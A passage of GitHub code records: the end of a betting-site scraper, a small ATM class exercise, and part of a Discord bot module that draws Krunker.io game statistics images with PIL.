'match':match,'link':link}\n            risultato = risultato.append(new_row, ignore_index=True)\n    return risultato\n\nif __name__ == '__main__':\n    print(scrapCampionato(0))","repo_name":"simonemastella/SureBetFinder","sub_path":"scrapper/Inactive/bwin.py","file_name":"bwin.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"51"}
+{"seq_id":"70455587039","text":"from balanceinquiry import Balanceinquiry\nfrom withdraw import WithDraw\nfrom deposit import Deposit\n\nclass Atm() :\n\n    sisa = 0\n    def checkbalance(self) :\n        print(\"Your current balance is {}\".format(Balanceinquiry.getbalance()))\n\n    @staticmethod\n    def withdrawmoney(nominal) :\n        if (Balanceinquiry.balance == 0) :\n            print(\"\\Your current balance is zero\")\n        elif (Balanceinquiry.balance <= 500) :\n            print(\"You dont have suficient money to draw\")\n        elif (Balanceinquiry.balance < nominal) :\n            print(\"Saldo anda tidak mencukupi\")\n        else :\n            Atm.sisa = Balanceinquiry.balance - nominal\n            Balanceinquiry.setbalance(Atm.sisa)\n            print(\"Anda menarik uang sejumlah :\",nominal)\n            print(\"Saldo anda adalah : \", Balanceinquiry.balance)\n    \n    @staticmethod\n    def depositmoney(nominal) :\n        Deposit.count(nominal)\n        Balanceinquiry.balance += Deposit.totaldeposit\n        print(\"\\nYou deposited the ammount of {}\".format(Deposit.getdeposit()))\n\nAtm.depositmoney(2000)\nprint('\\n')\nAtm.withdrawmoney(1000)","repo_name":"firman2528/praxis-academy","sub_path":"hari-keempat/kasus/atm.py","file_name":"atm.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"36118900316","text":"from PIL import Image\nfrom PIL import ImageDraw\nfrom PIL import ImageFont, ImageOps, ImageEnhance, ImageFilter\nfrom io import BytesIO\nimport discord, requests, requests, random\nimport datetime, threading, pickle, textwrap, ago, math, time\nfrom resizeimage import resizeimage\nfont_file = \"Data/font2.ttf\"\nbot_logo = \"https://cdn.discordapp.com/avatars/717416553099952219/0ada419dbd4b71306f13abfbc89ed1e0.png?size=1024\"\nplays_img = \"Data/plays.png\"\nlikes_img = \"Data/likes.png\"\nlikes2_img = \"Data/likesv2.png\"\nverif_img = \"Data/verification.png\"\npartn_img = \"Data/partner.png\"\nprem_img = \"Data/premium.png\"\nbot_logo = \"https://cdn.discordapp.com/avatars/717416553099952219/0ada419dbd4b71306f13abfbc89ed1e0.png?size=1024\"\nstar_emote = \"⭐ \"\ngb_emote = \"<:GameBot:751968732057698377>\"\nglobe_emote = \":globe_with_meridians:\"\ngame_data_sample = \"\"\"\n`{}`: [{} / {}](https://krunker.io/?game={}) *@ {}*\"\"\"\n\n__rarities = {\"0\": 8185428,\n            \"1\": 1014015,\n            \"2\": 13244869,\n            \"3\": 16761856,\n            \"4\": 13047834,\n            \"5\": 4276545,\n            \"6\": 1}\n\n\n\nMain_Color = (227, 126, 255)\nmonth = {1:\"JAN\",\n         2:\"FEB\",\n         3:\"MAR\",\n         4:\"APR\",\n         5:\"MAY\",\n         6:\"JUN\",\n         7:\"JUL\",\n         8:\"AUG\",\n         9:\"SEP\",\n         10:\"OCT\",\n         11:\"NOV\",\n         12:\"DEC\"}\nweapons = [\"Knife\", \"Sniper\", \"AR\",\n           \"Pistol\", \"Smg\", \"Revolver\",\n           \"Shotgun\", \"Lmg\", \"Auto\",\n           \"Rl\", \"Uzi\", \"Deagle\",\n           \"Alien Blaster\", \"\", \"Crossbow\", \"Famas\",\n           \"Sawed Off\", \"Auto Pistol\"];\nskin_types = {\n    1:\" hat\",\n    2:\" back\",\n    5:\" dye\",\n    6:\" waist\",\n    7:\" face\",\n    8:\" shoe\"}\n\ndef tint_image(src, color=\"#FF0000\", brightness = 1.45):\n    src.load()\n    r, g, b, alpha = src.split()\n    gray = ImageOps.grayscale(src)\n    result = ImageOps.colorize(gray, (0, 0, 0, 0), color) \n    result.putalpha(alpha)\n    enhancer = ImageEnhance.Brightness(result)\n    result = enhancer.enhance(brightness)\n    return result\n\ndef human_format(num):\n    try:\n        num = float('{:.3g}'.format(num))\n        magnitude = 0\n        while abs(num) >= 1000:\n            magnitude += 1\n            num /= 1000.0\n        return '{}{}'.format('{:f}'.format(num).rstrip('0').rstrip('.'), ['', 'K', 'M', 'B', 'T'][magnitude])\n    except:return \"0\"\ndef read_format(num):\n    try:return \"{:,}\".format(num)\n    except:return \"0\"\ndef dec_format(num):\n    try:return \"{:,.2f}\".format(num)\n    except:return \"0\"\n    \ndef gb_logo(img, client, ngb_logo = None):\n    if not ngb_logo:\n        ngb_logo = client.gb\n    __x__, __y__ = img.size\n    img.paste(ngb_logo, (__x__-33, __y__-33), ngb_logo)                \n    byte_io = BytesIO()\n    byte_io.seek(0)\n    img.save(byte_io, 'PNG')\n    byte_io.seek(0)\n    return byte_io\ndef change_color(r, g, b, img):\n    pixels = img.load()\n    for i in range(img.size[0]):\n        for j in range(img.size[1]):\n            if list(pixels[i, j])[-1] == 0:\n                pixels[i, j] = (r, g, b, 0)\n                \ndef avg_c(cc, ec, height, c_height):\n    ncc = list(cc)\n    tbm = c_height/height\n    for i in range(3):\n        if ncc[i] < ec[i]:ncc[i] = int(ec[i]*tbm)\n        else:ncc[i] = ncc[i] - int((int(ncc[i]) - ec[i])*tbm)\n    return tuple(ncc)\n\ndef gradient(top_c, bottom_c, draw, img):\n    for y in range(img.height):\n        draw.line((0, y, img.width, y), fill = avg_c(top_c, bottom_c, img.height, y))\n\ndef newGrad(xy, top_c = (54, 57, 63), bottom_c = (26, 27, 28)):\n    img = Image.new(\"RGB\", (xy[0], xy[1]), (0, 0, 0))\n    draw_ = ImageDraw.Draw(img)\n    gradient(top_c, bottom_c, draw_, img)\n    return img\ndef fill_tp(r, g, b, img):\n    pixels = img.load()\n    for i in range(img.size[0]):\n        for j in range(img.size[1]):\n            if list(pixels[i, j])[-1] == 0:\n                pixels[i, j] = (r, g, b, 255)\n\ndef getRGBfromI(RGBint):\n    blue =  RGBint & 255\n    green = (RGBint >> 8) & 255\n    red =   (RGBint >> 16) & 255\n    return red, green, blue\ndef draw_non_acsii(x, y, text, font, unic_font, color, mdraw, stroke = 0):\n    overall_off = x\n    for x, e_letter in enumerate(text):\n        if e_letter.isascii():\n            mdraw.text((overall_off, y), e_letter, font=font, fill=color)\n            overall_off += get_text_size(e_letter, font) + 2\n        else:\n            mdraw.text((overall_off, y), e_letter, font=unic_font, fill=color)\n            overall_off += get_text_size(e_letter, unic_font) + 3\n        \n    return overall_off-x\ndef classic_outline(img, x_ = 2, y_ = 9, border = 4, color = (20,22,24), radius= 25, initial_top = 3):\n    img = add_corners(img, radius)\n    img_b = Image.new('RGB', (img.width + x_, img.height + x_), color)\n    img_b = ImageOps.expand(img_b, border=border, fill = color)\n    img_b = add_corners(img_b, radius)        \n    img_b.paste(img, (initial_top, initial_top), img)\n    return img_b\n\ndef get_text_size(text, font):\n    text_image = Image.new(\"RGB\", (100, 100), (0, 0, 0))\n    text_draw = ImageDraw.Draw(text_image)\n    text_draw.text((0, 0), text, font=font, fill=(255, 255, 255))\n    pixels = text_image.load()\n    x_vals = []\n    for x in range(text_image.size[0]):\n        for y in range(text_image.size[1]):\n            if pixels[x, y] != (0, 0, 0):\n                x_vals.append(x)\n    try:return max(x_vals) - min(x_vals)\n    except:return 1\n\n\ndef make_mods(final_maps, user_name, client, featured_maps_file):\n    font_size = 17\n    offset = 15\n    maps = final_maps\n    #maps = [['Caribbean_Escape', 15000, 3], ['Tunnel_Escape', 537, 1], ['Old_Times', 9, 0], ['2d_Jungle',21,-1]] \n    black_color = (255, 255, 255)\n    #y = int((len(maps)*(12+(font_size+4)))+(offset))+40\n    y = len(maps) * 31\n    y += offset + 40 + 5\n    #img = newGrad((460,y))\n    img = Image.new(\"RGBA\", (460, y), (0,0,0,0))\n    draw = ImageDraw.Draw(img)\n    font = client.main_font\n    font2 = client.main_font2\n    font_size += 10\n    with open(featured_maps_file, \"rb\") as file:\n        old_data = pickle.load(file)\n    for e_map in maps:\n        if e_map[0].lower() in old_data:\n            e_map[-1] = 0\n        else:e_map[-1] = None\n    def filter_votes(votes):\n        if not votes:return [13, (100, 100, 100), '', '', votes]\n        elif votes > 0 and votes < 100:return [0, (15, 220, 15), '+', '', votes]\n        elif votes < 0: return [6, (235, 10, 10), '', '', votes]\n        elif votes > 100:return [0, (15, 220, 15), '', '+', 99]\n    def filter_color(verification):\n        if verification == 0:\n            return (255, 203, 73)\n        return Main_Color\n    outline_text(draw, 10, 10, (255, 255, 255), (0, 0, 0), user_name+\"'s Mods\", font2)\n    offset = 44\n    def e_mod(x, e_map):\n        outline_text(draw, 10, 12+((font_size+4)*x)+offset, filter_color(e_map[-1]), (0, 0, 0), e_map[0], font)\n        outline_text(draw, 335, 12+((font_size+4)*x)+offset, black_color, (0, 0, 0), str(e_map[1]), font)\n        x_, color, abbr, abbr2, votes = filter_votes(e_map[2])\n        draw.text((410+x_, 12+(((font_size+4))*x)+offset),abbr+str(votes)+abbr2,color,font=font)\n    all_threads = []\n    for x, e_map in enumerate(maps):\n        emthr = threading.Thread(target=e_mod, args = (x, e_map))\n        emthr.start()\n        all_threads.append(emthr)\n    for e_t in all_threads:\n        e_t.join()\n\n    dark_img = ImageEnhance.Brightness(img).enhance(0)\n    dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=2.5))\n    dark_img.paste(img, (0, 0), img)\n    img = newGrad((460,y))\n    img.paste(dark_img, (0, 0), dark_img)\n    \n    img_b = classic_outline(img)\n    byte_io = gb_logo(img_b, client)\n    return byte_io\n\ndef make_online(games_o, user_name, randomize, client, old_data, overall_online):\n    font_size = 17\n    offset = 15\n    black_color = (255, 255, 255)\n    y = len(games_o) * 31\n    y += offset + 40 + 5 + 50\n    img = Image.new('RGBA', (590,y), (0, 0, 0, 0))\n    #img = newGrad((500, y))\n    draw = ImageDraw.Draw(img)\n    font = client.main_font\n    font2 = client.main_font2\n    font_size += 10\n    def filter_votes(votes):\n        if not votes:return [13, (100, 100, 100), '', '', votes]\n        elif votes > 0 and votes < 100:return [0, (15, 220, 15), '+', '', votes]\n        elif votes < 0: return [6, (235, 10, 10), '', '', votes]\n        elif votes > 100:return [0, (15, 220, 15), '', '+', 99]\n    def filter_color(verification):\n        if verification:\n            return (255, 203, 73)\n        return (227, 126, 255)\n    if not randomize:outline_text(draw, 10, 10, (255, 255, 255), (0, 0, 0), \"{}'s Games\".format(user_name), font2)\n    else:outline_text(draw, 10, 10, (255, 255, 255), (0, 0, 0), \"Top active maps\", font2)\n    offset = 44\n    def e_game(x, mapnm, mapon):\n        outline_text(draw, 10, 12+((font_size+4)*x)+offset, filter_color(mapnm.lower() in old_data), (0, 0, 0), mapnm, font)\n        outline_text(draw, 240+75, 12+((font_size+4)*x)+offset, black_color, (0, 0, 0), str(mapon[1]) + \" lobbies\", font)\n        outline_text(draw, 350+15+83, 12+((font_size+4)*x)+offset, black_color, (0, 0, 0), str(mapon[0]) + \" online\", font)\n    all_threads = []\n    for x, (mapnm, mapon) in enumerate(games_o.items()):\n        emthr = threading.Thread(target=e_game, args = (x, mapnm, mapon))\n        emthr.start()\n        all_threads.append(emthr)\n    for e_t in all_threads:\n        e_t.join()\n\n\n    outline_text(draw, 18, y-45, (220, 220, 220) , (0, 0, 0), \"Total\", font2)\n    outline_text(draw, 310, y-45, (220, 220, 220) , (0, 0, 0), '{:,} online'.format(overall_online), font2)\n\n    ngb_logo = client.gb\n    __x__, __y__ = img.size\n    img.paste(ngb_logo, (__x__-33, __y__-33), ngb_logo)\n    \n    dark_img = ImageEnhance.Brightness(img).enhance(0)\n    dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=3))\n    dark_img.paste(img, (0, 0), img)\n    \n\n    gr_img = newGrad((590, y))\n    gr_img.paste(dark_img, (0, 0), dark_img)\n    gr_img = classic_outline(gr_img)\n\n    byte_io = BytesIO()\n    byte_io.seek(0)\n    gr_img.save(byte_io, 'PNG')\n    byte_io.seek(0)\n    return byte_io\n\ndef add_corners(im, rad):\n    circle = Image.new('L', (rad * 2, rad * 2), 0)\n    draw = ImageDraw.Draw(circle)\n    draw.ellipse((0, 0, rad * 2, rad * 2), fill=255)\n    alpha = Image.new('L', im.size, 255)\n    w, h = im.size\n    alpha.paste(circle.crop((0, 0, rad, rad)), (0, 0))\n    alpha.paste(circle.crop((0, rad, rad, rad * 2)), (0, h - rad))\n    alpha.paste(circle.crop((rad, 0, rad * 2, rad)), (w - rad, 0))\n    alpha.paste(circle.crop((rad, rad, rad * 2, rad * 2)), (w - rad, h - rad))\n    im.putalpha(alpha)\n    return im\n    \ndef outline_text(draw, x, y, color_, shadow_color_, text_, font_, thickness = 1):\n    draw.text((x, y), text_, font=font_, fill=color_, stroke_fill = shadow_color_, stroke_width = thickness)\n    \ndef get_asset_img(maps, user_name, msg, start = 0, pages_ = 1, pages_main = None, arg_ = \"nm\", arg_2 = 'siz',arg_2b = True, header = \"Assets\"):\n    maps = sorted(maps, key = lambda x: x[arg_])\n\n    try:\n        maps = maps[start:start+30]\n    except:\n        maps = maps[start:]\n\n    \n    font_size = 17\n    offset = 15\n    black_color = (255, 255, 255)\n    y = (len(maps) * 31) + offset + 40 + 5\n    img = Image.new('RGBA', (460,y), (0,0,0,0))\n    draw = ImageDraw.Draw(img)\n    font = ImageFont.truetype(font_file, font_size)\n    font2 = ImageFont.truetype(font_file, font_size+6)\n    fontn = ImageFont.truetype(font_file, font_size-3)\n    font_size += 10\n    def filter_votes(votes):\n        if not votes:return [13, (100, 100, 100), '', '', votes]\n        elif votes > 0 and votes < 100:return [0, (15, 220, 15), '+', '', votes]\n        elif votes < 0: return [6, (235, 10, 10), '', '', votes]\n        elif votes > 100:return [0, (15, 220, 15), '', '+', 99]\n    def filter_color(verification):\n        if verification == 0:return (255, 203, 73)\n        return (255, 0, 255)\n    outline_text(draw, 10, 10, (255, 255, 255), (0, 0, 0), user_name+\"'s \"+header, font2)\n    if pages_main != 1: outline_text(draw, 345, 35, (200, 200, 200), (0, 0, 0), \"PG# {} of {}\".format(pages_, pages_main), fontn, 2)\n    offset = 44\n    for x, e_map in enumerate(maps):\n        outline_text(draw, 10, 12+((font_size+4)*x)+offset, (227, 126, 255), (0, 0, 0), e_map[arg_], font)\n        if arg_2b: outline_text(draw, 335, 12+((font_size+4)*x)+offset, black_color, (0, 0, 0), str(e_map[arg_2]) + \" kb\", font)\n\n    dark_img = ImageEnhance.Brightness(img).enhance(0)\n    dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=2.5))\n    dark_img.paste(img, (0, 0), img)\n    img = newGrad((460,y))\n    img.paste(dark_img, (0, 0), dark_img)\n    \n    \n    img = classic_outline(img)\n    gb_logo = Image.open(\"Data/logo.png\",\"r\")\n    __x__, __y__ = img.size\n    img.paste(gb_logo, (__x__-33, __y__-33), gb_logo)\n    byte_io = BytesIO()\n    byte_io.seek(0)\n    img.save(byte_io, 'PNG')\n    byte_io.seek(0)\n    return byte_io\n\ndef get_search_img(maps, header, message, m_key = \"map_verified\"):\n    font_size = 17\n    offset = 15\n            \n    black_color = (255, 255, 255)\n    y = len(maps) * 31\n    y += offset + 40 + 5\n            \n    img = Image.new('RGBA', (500,y), (0,0,0,0))\n    draw = ImageDraw.Draw(img)\n    font = ImageFont.truetype(font_file, font_size)\n    font2 = ImageFont.truetype(font_file, font_size+6)\n    font3 = ImageFont.truetype(font_file, font_size-3)\n    font_size += 10\n    def filter_color(verification):\n        if verification == 0:\n            return (255, 203, 73)\n        elif verification == 1 and m_key == \"map_featured\":\n            return (255, 203, 73)\n        return Main_Color\n    #draw.text((10, 10), ,,font=font2)\n    outline_text(draw, 10, 10, (255, 255, 255), (0, 0, 0), header, font2)\n    offset = 44\n    for x, e_map in enumerate(maps):\n                \n        #draw.text((10, 12+((font_size+4)*x)+offset),e_map[0],filter_color(e_map[-1]),font=font)\n        outline_text(draw, 228, 12+((font_size+4)*x)+offset + 2, (150, 150, 150) , (0, 0, 0), \"by \"+e_map['creatorname'], font3)\n        outline_text(draw, 10, 12+((font_size+4)*x)+offset, filter_color(e_map[m_key]), (0, 0, 0), e_map['map_name'], font)\n\n        outline_text(draw, 380+40, 12+((font_size+4)*x)+offset, black_color, (0, 0, 0), str(e_map['map_votes']), font)\n\n    dark_img = ImageEnhance.Brightness(img).enhance(0)\n    dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=2.5))\n    dark_img.paste(img, (0, 0), img)\n    \n    img = newGrad((500,y))\n    img.paste(dark_img, (0, 0), dark_img)\n    \n    img = classic_outline(img)\n    \n    gb_logo = Image.open(\"Data/logo.png\",\"r\")\n    __x__, __y__ = img.size\n    img.paste(gb_logo, (__x__-33, __y__-33), gb_logo)\n\n            \n    byte_io = BytesIO()\n    byte_io.seek(0)\n    img.save(byte_io, 'PNG')\n    byte_io.seek(0)\n    return byte_io\n\n\nasync def post_emb_page(main_msg, maps, user_name, msg, start = 0, pages_ = 1, pages_main = None, arg1 = \"mna\", arg2 = \"ctn\", arg3 = \"vte\", sort_key = \"mna\", reverse_sort = False, d_maps= False):\n    maps = sorted(maps, key = lambda x:x[sort_key], reverse = reverse_sort)\n    try:\n        maps = maps[start:start+10]\n    except:\n        maps = maps[start:]\n    if d_maps:\n        raw_embed_entry = \"[{}](https://krunker.io/?play={}) --- {}{}\\n\"\n        output_entry = \"**Map Name   ---  Likes**\\n\"\n        title_em = user_name + \"'s Maps\"\n    else:\n        raw_embed_entry = \"[{}](https://krunker.io/?play={}) --- by `{}` --- `{}`\\n\"\n        output_entry = \"**Map Name   ---   by Creator   ---   Likes**\\n\"\n        title_em = user_name + \"'s Favourite Maps\"\n        \n    for e_map in maps:\n        if d_maps:e_map[arg2] = \"\"\n        output_entry += raw_embed_entry.format(e_map[arg1],\n            requests.compat.quote_plus(e_map[arg1]),\n            e_map[arg2],\n            e_map[arg3])\n    embed = discord.Embed(colour=discord.Colour(14423783), description = output_entry)\n    embed.set_author(name= title_em , icon_url=bot_logo)\n    embed.set_footer(text=\"Page # {} of {}\".format(pages_, pages_main))\n    if main_msg == None:\n        tracked_post = await msg.channel.send(embed = embed)\n    else:\n        await main_msg.edit(embed = embed)\n        tracked_post = main_msg\n    return tracked_post\n\nasync def post_info_page(main_msg, maps, user_name, msg, start = 0, pages_ = 1, pages_main = None, arg1 = \"mna\", arg2 = \"ctn\", arg3 = \"vte\", sort_key = \"mna\", reverse_sort = False, d_maps= False, sum_of_kr = 0, sum_of_doll = 0):\n    maps = sorted(maps, key = lambda x:x[sort_key], reverse = reverse_sort)\n    try:\n        maps = maps[start:start+10]\n    except:\n        maps = maps[start:]\n    maximum_width = max([len(e_map[arg1]) for e_map in maps]) + 4\n    max_width_kr = max([len(e_map[\"kr\"]) for e_map in maps]) + 3\n    raw_embed_entry = \"[{}](https://krunker.io/?play={}) {} `{} kr` {} `${}`\\n\"\n    output_entry = \"**Map Name   ---   Kr   ---   $$$**\\n\"\n    title_em = user_name + \"'s Maps\"\n        \n    for e_map in maps:\n        output_entry += raw_embed_entry.format(e_map[arg1],\n            requests.compat.quote_plus(e_map[arg1]),\n                                               e_map[arg1].ljust(maximum_width, \"-\")[len(e_map[arg1]):],\n                                               e_map[\"kr\"],\n                                               e_map[\"kr\"].ljust(max_width_kr, \"-\")[len(e_map[\"kr\"]):],\n                                               e_map[\"doll\"])\n    output_entry += \"Total {} `{} kr` {} `${}`\".format(\"total\".ljust(maximum_width, \"-\")[len(\"total\"):],\n                                                        sum_of_kr,\n                                                        sum_of_kr.ljust(max_width_kr, \"-\")[len(sum_of_kr):],\n                                                        sum_of_doll)\n    \n    embed = discord.Embed(colour=discord.Colour(14423783), description = output_entry)\n    embed.set_author(name= title_em , icon_url=bot_logo)\n    embed.set_footer(text=\"Page # {} of {}\".format(pages_, pages_main))\n    if main_msg == None:\n        tracked_post = await msg.channel.send(embed = embed)\n    else:\n        await main_msg.edit(embed = embed)\n        tracked_post = main_msg\n    return tracked_post\n\nasync def sweep_printer(main_msg, data, map_name, msg, start = 0, pages_ = 1, pages_main = None):\n    data = list(data.items())\n    try:\n        data = data[start:start+10]\n    except:\n        data = data[start:]\n    output = \"\"\n    raw_output = \"**{}** `+` {}\\n\"\n    for e_user, e_user_data in data:\n        output += raw_output.format(e_user.replace(\"_\", r\"\\_\").replace(\"*\", r\"\\*\"), \"{:,}\".format(e_user_data[-1]-e_user_data[0]))\n    today = datetime.datetime.utcnow()\n    last_upd = today - datetime.timedelta(hours = int(today.strftime(\"%H\")), minutes = int(today.strftime(\"%M\")))\n    embed = discord.Embed(description=output, title = map_name.upper(), timestamp=last_upd)\n    embed.set_footer(text=\"Page # {}/{}\\nLast update\".format(pages_, pages_main))\n    if main_msg == None:\n        tracked_post = await msg.channel.send(embed = embed)\n    else:\n        await main_msg.edit(embed = embed)\n        tracked_post = main_msg\n    return tracked_post\n    \ndef make_map_info(data, descip, client, map_thumb_url, user_name, host_data):\n    online_ppl = 0\n    for e_map in host_data:\n        if e_map[-1][\"i\"].lower() == user_name.lower():\n            online_ppl += e_map[2]\n    font_size = 18\n    y_offs = 21*len(descip)\n    black_color = (255, 255, 255)\n    #img = Image.new('RGB', (500,247+y_offs), (54, 57, 63))\n    img = newGrad((500,247+y_offs))\n    draw = ImageDraw.Draw(img)\n    font = ImageFont.truetype(font_file, font_size)\n    font2 = ImageFont.truetype(font_file, font_size-3)\n    font3 = ImageFont.truetype(font_file, font_size-5)\n    font4 = ImageFont.truetype(font_file, font_size-8)\n\n    font5 = ImageFont.truetype(font_file, font_size-7)\n\n    fontsm = ImageFont.truetype(font_file, font_size-4)\n    \n    \n    #draw.text((20, 20), data[\"map_name\"],Main_Color,font=font)\n    def filter_color(verification):\n        if verification == 0:\n            return (255, 203, 73)\n        return Main_Color\n    #data['map_updatecounter'] = 16\n    #draw.text((20, 20), data[\"map_name\"],Main_Color,font=font)\n    outline_text(draw, 20, 20, filter_color(data[\"map_verified\"]), (0, 0, 0), data[\"map_name\"], font)\n    mnwidth, mnheight = draw.textsize(data[\"map_name\"], font=font)\n    \n    draw.text((20, 62), \"by\",(150, 150, 150),font=fontsm)\n    outline_text(draw, 50, 62, (191, 176, 190), (50, 50, 50), data[\"map_creator\"], font2)\n\n    \n    draw.text((20, 98), \"{:,}\".format(data[\"vt\"]),(191, 176, 190),font=fontsm)\n    twidth, theight = draw.textsize(\"{:,}\".format(data[\"vt\"]), font=fontsm)\n    likes_ = Image.open(likes2_img,\"r\")\n    img.paste(likes_, (20+twidth+5, 97), likes_)\n    draw.text((20, 131), \"{:,}\".format(online_ppl),(191, 176, 190),font=fontsm)\n    twidth, theight = draw.textsize(\"{:,}\".format(online_ppl), font=fontsm)\n    likes_ = Image.open(\"Data/online.png\", \"r\")\n    img.paste(likes_, (20+twidth+5, 131), likes_)\n\n    draw.text((20, 161), \"{:,}\".format(data[\"pl\"]),(191, 176, 190),font=fontsm)\n    twidth, theight = draw.textsize(\"{:,}\".format(data[\"pl\"]), font=fontsm)\n    likes_ = Image.open(plays_img,\"r\")\n    img.paste(likes_, (20+twidth+5, 161), likes_)\n\n\n    date = data[\"map_initialdate\"][:10].split(\"-\")\n    draw.text((20, 190), \"Publish Date: {}-{}-{}\".format(str(date[2]), month[int(date[1])], date[0]),(130, 130, 130),font=font4)\n\n    date = data[\"map_date\"][:10].split(\"-\")\n    draw.text((20, 209), \"Update Date:  {}-{}-{}\".format(str(date[2]), month[int(date[1])], date[0]),(130, 130, 130),font=font4)\n    \n    #draw.multiline_text((20, 200), ,,font=font3)\n    hoffset = 240\n    for line in descip:\n        draw.text((20, hoffset), line, font=font4, fill=(150, 150, 150))\n        hoffset += font.getsize(line)[1]-7\n    version = data['map_updatecounter']/10\n    draw.text((mnwidth+25, 26), \"v\"+str(version),(110, 110, 110),font=font4)\n    try:\n        response = requests.get(map_thumb_url.format(data[\"map_id\"]))\n        thumb = Image.open(BytesIO(response.content)).convert(\"RGBA\")\n    except:\n        thumb = Image.open(\"Data/unknown.png\").convert(\"RGBA\")\n    thumb.thumbnail((200, 200), Image.ANTIALIAS)\n    thumb = ImageOps.expand(thumb,border=2,fill=(37,41,44))\n    img.paste(thumb, (258, 60), thumb)\n\n    \n    img_b = classic_outline(img)\n    return gb_logo(img_b, client)\n\n\ndef make_owners(maps, client, name_):\n    font_size = 17\n    offset = 15\n    black_color = (255, 255, 255)\n    y = len(maps) * 31\n    y += offset + 40 + 5\n    main_bg = (54, 57, 63)\n    img = Image.new('RGBA', (500,y), (0, 0, 0, 0))\n    draw = ImageDraw.Draw(img)\n    font = client.main_font\n    font2 = client.main_font2\n    font3 = ImageFont.truetype(font_file, font_size-3)\n    font_size += 10\n    outline_text(draw, 10, 10, (255, 255, 255), (0, 0, 0), name_ + \" Owners\", font2)\n    offset = 44\n    for x, e_map in enumerate(maps):\n        offset_pf = 10\n        if e_map['su'] > 0:\n            prem = Image.open(prem_img, \"r\")\n            img.paste(prem, (offset_pf, 12+((font_size+4)*x)+offset), prem)\n            offset_pf += 21\n            \n        if bool(e_map['ft']):\n            verif = Image.open(verif_img,\"r\")\n            img.paste(verif, (offset_pf, 12+((font_size+4)*x)+offset), verif)\n            offset_pf += 23\n            \n        outline_text(draw, offset_pf, 12+((font_size+4)*x)+offset, Main_Color, (0, 0, 0), e_map['nm'], font)\n\n        outline_text(draw, 380+40, 12+((font_size+4)*x)+offset, black_color, (0, 0, 0), \"x\"+str(e_map['ct']), font)\n\n    dark_img = ImageEnhance.Brightness(img).enhance(0)\n    dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=2.5))\n    dark_img.paste(img, (0, 0), img)\n    img = newGrad((500,y))\n    img.paste(dark_img, (0, 0), dark_img)\n    \n    img_b = classic_outline(img)\n    return gb_logo(img_b, client)\n\n\ndef make_posts(maps, skins, PyJsHoisted_getPreview_, client, is_giveaway):\n    y_reoff = 0\n    if maps[\"typ\"] in [2, 3, 5]:\n        maps[\"txt\"] += \" Play it now!\" if maps[\"typ\"] == 2 else \" Try it now!\"\n        if maps[\"typ\"] == 5:\n            for e_skin_n, e_skin in skins.items():\n                try:\n                    if e_skin[\"i\"] == int(maps[\"lnk\"]):\n                        our_skin = e_skin\n                except:pass\n            maps[\"txt\"] = \"Just unboxed a \"+ our_skin[\"name\"]\n            thm_url = str(PyJsHoisted_getPreview_(our_skin))[1:-1]\n        else:\n            thm_url = \"https://user-assets.krunker.io/md{}/thumb.png\".format(maps[\"lnk\"]) if maps[\"typ\"] == 3 else \"https://user-assets.krunker.io/m{}/thumb.png\".format(maps[\"lnk\"])\n        try:\n            response = requests.get(thm_url)\n            thumb = Image.open(BytesIO(response.content)).convert(\"RGBA\")\n        except:\n            thumb = Image.open(\"Data/unknown.png\").convert(\"RGBA\")\n        fill_tp(37,41,44, thumb)\n        thumb = resizeimage.resize_thumbnail(thumb, [200, 200])\n        thumb = add_corners(thumb, 12)\n        y_reoff = thumb.height + 30\n    text = textwrap.wrap(maps[\"txt\"], width=50)\n    y_offs = 30*len(text)\n    y_offs_overall = 50*len(text)\n    img = newGrad((720, 180+y_offs_overall+y_reoff))\n    draw = ImageDraw.Draw(img)\n\n    icon = Image.open(\"Data/icon.png\")\n    img.paste(icon, (20, 20), icon)\n\n    dark_c = (226, 226, 226)\n    main_c = (227, 126, 255)\n\n    bimg = Image.new('RGB', (686-10,y_offs_overall+6+y_reoff), (149, 158, 158))\n    bimg = add_corners(bimg, 10)\n    img.paste(bimg, (25, 95), bimg)\n\n    \n    bimg = Image.new('RGB', (680-10,y_offs_overall+y_reoff), (98, 104, 104))\n    bimg = add_corners(bimg, 10)\n    img.paste(bimg, (28, 98), bimg)\n    \n    font_size = 18\n\n    \n    font = ImageFont.truetype(font_file, font_size)\n    fontmega = ImageFont.truetype(font_file, font_size+3)\n    font2 = ImageFont.truetype(font_file, font_size-3)\n    font3 = ImageFont.truetype(font_file, font_size-5)\n    unicode_font = ImageFont.truetype(\"Data/unifont.ttf\", font_size+3)\n\n    twidth, _ = draw.textsize(maps[\"pln\"], font)\n    off_ = 0\n    if maps[\"prm\"]:\n        verif = Image.open(\"Data/prem.png\",\"r\").convert(\"RGBA\")\n        verif.thumbnail((20, 20), Image.ANTIALIAS)\n        img.paste(verif, (92 + twidth, 24), verif)\n        off_ += 26\n    if maps[\"ftr\"]:\n        verif = Image.open(\"Data/verif.png\",\"r\").convert(\"RGBA\")\n        verif.thumbnail((20, 20), Image.ANTIALIAS)\n        img.paste(verif, (92 + twidth + off_, 24), verif)\n        off_ += 26\n    if maps[\"cln\"]:\n        if maps[\"cln\"].isascii():\n            draw.text((92 + twidth + off_, 24), \"[\"+maps[\"cln\"]+\"]\", (98, 104, 104), font)\n        else:\n            draw_non_acsii(92 + twidth + off_, 24, \"[\"+maps[\"cln\"]+\"]\", font, unicode_font, (98, 104, 104), draw)\n\n    outline_text(draw, 85, 24, main_c, (25, 25, 25), maps[\"pln\"], font)\n    outline_text(draw, 85, 55, (98, 104, 104), (25, 25, 25), read_format(maps[\"flw\"]) + \" Followers\", font2)\n\n    twidth, _ = draw.textsize(str(maps[\"vot\"]), font)\n    \n    outline_text(draw, 557-twidth, 142+y_offs_overall+y_reoff, main_c, (25, 25, 25), str(maps[\"vot\"]), font)\n    overall_likes = 557+8\n    twidth2, _ = draw.textsize(\"Likes\", font)\n    overall_likes += twidth2 + 7\n    draw.text((557+8, 142+y_offs_overall+y_reoff), \"Likes\", (98, 104, 104), font)\n    bimg = Image.open(\"Data/heart.png\")\n    img.paste(bimg, (overall_likes, 142+y_offs_overall+y_reoff), bimg)\n\n    ctwidth, _ = 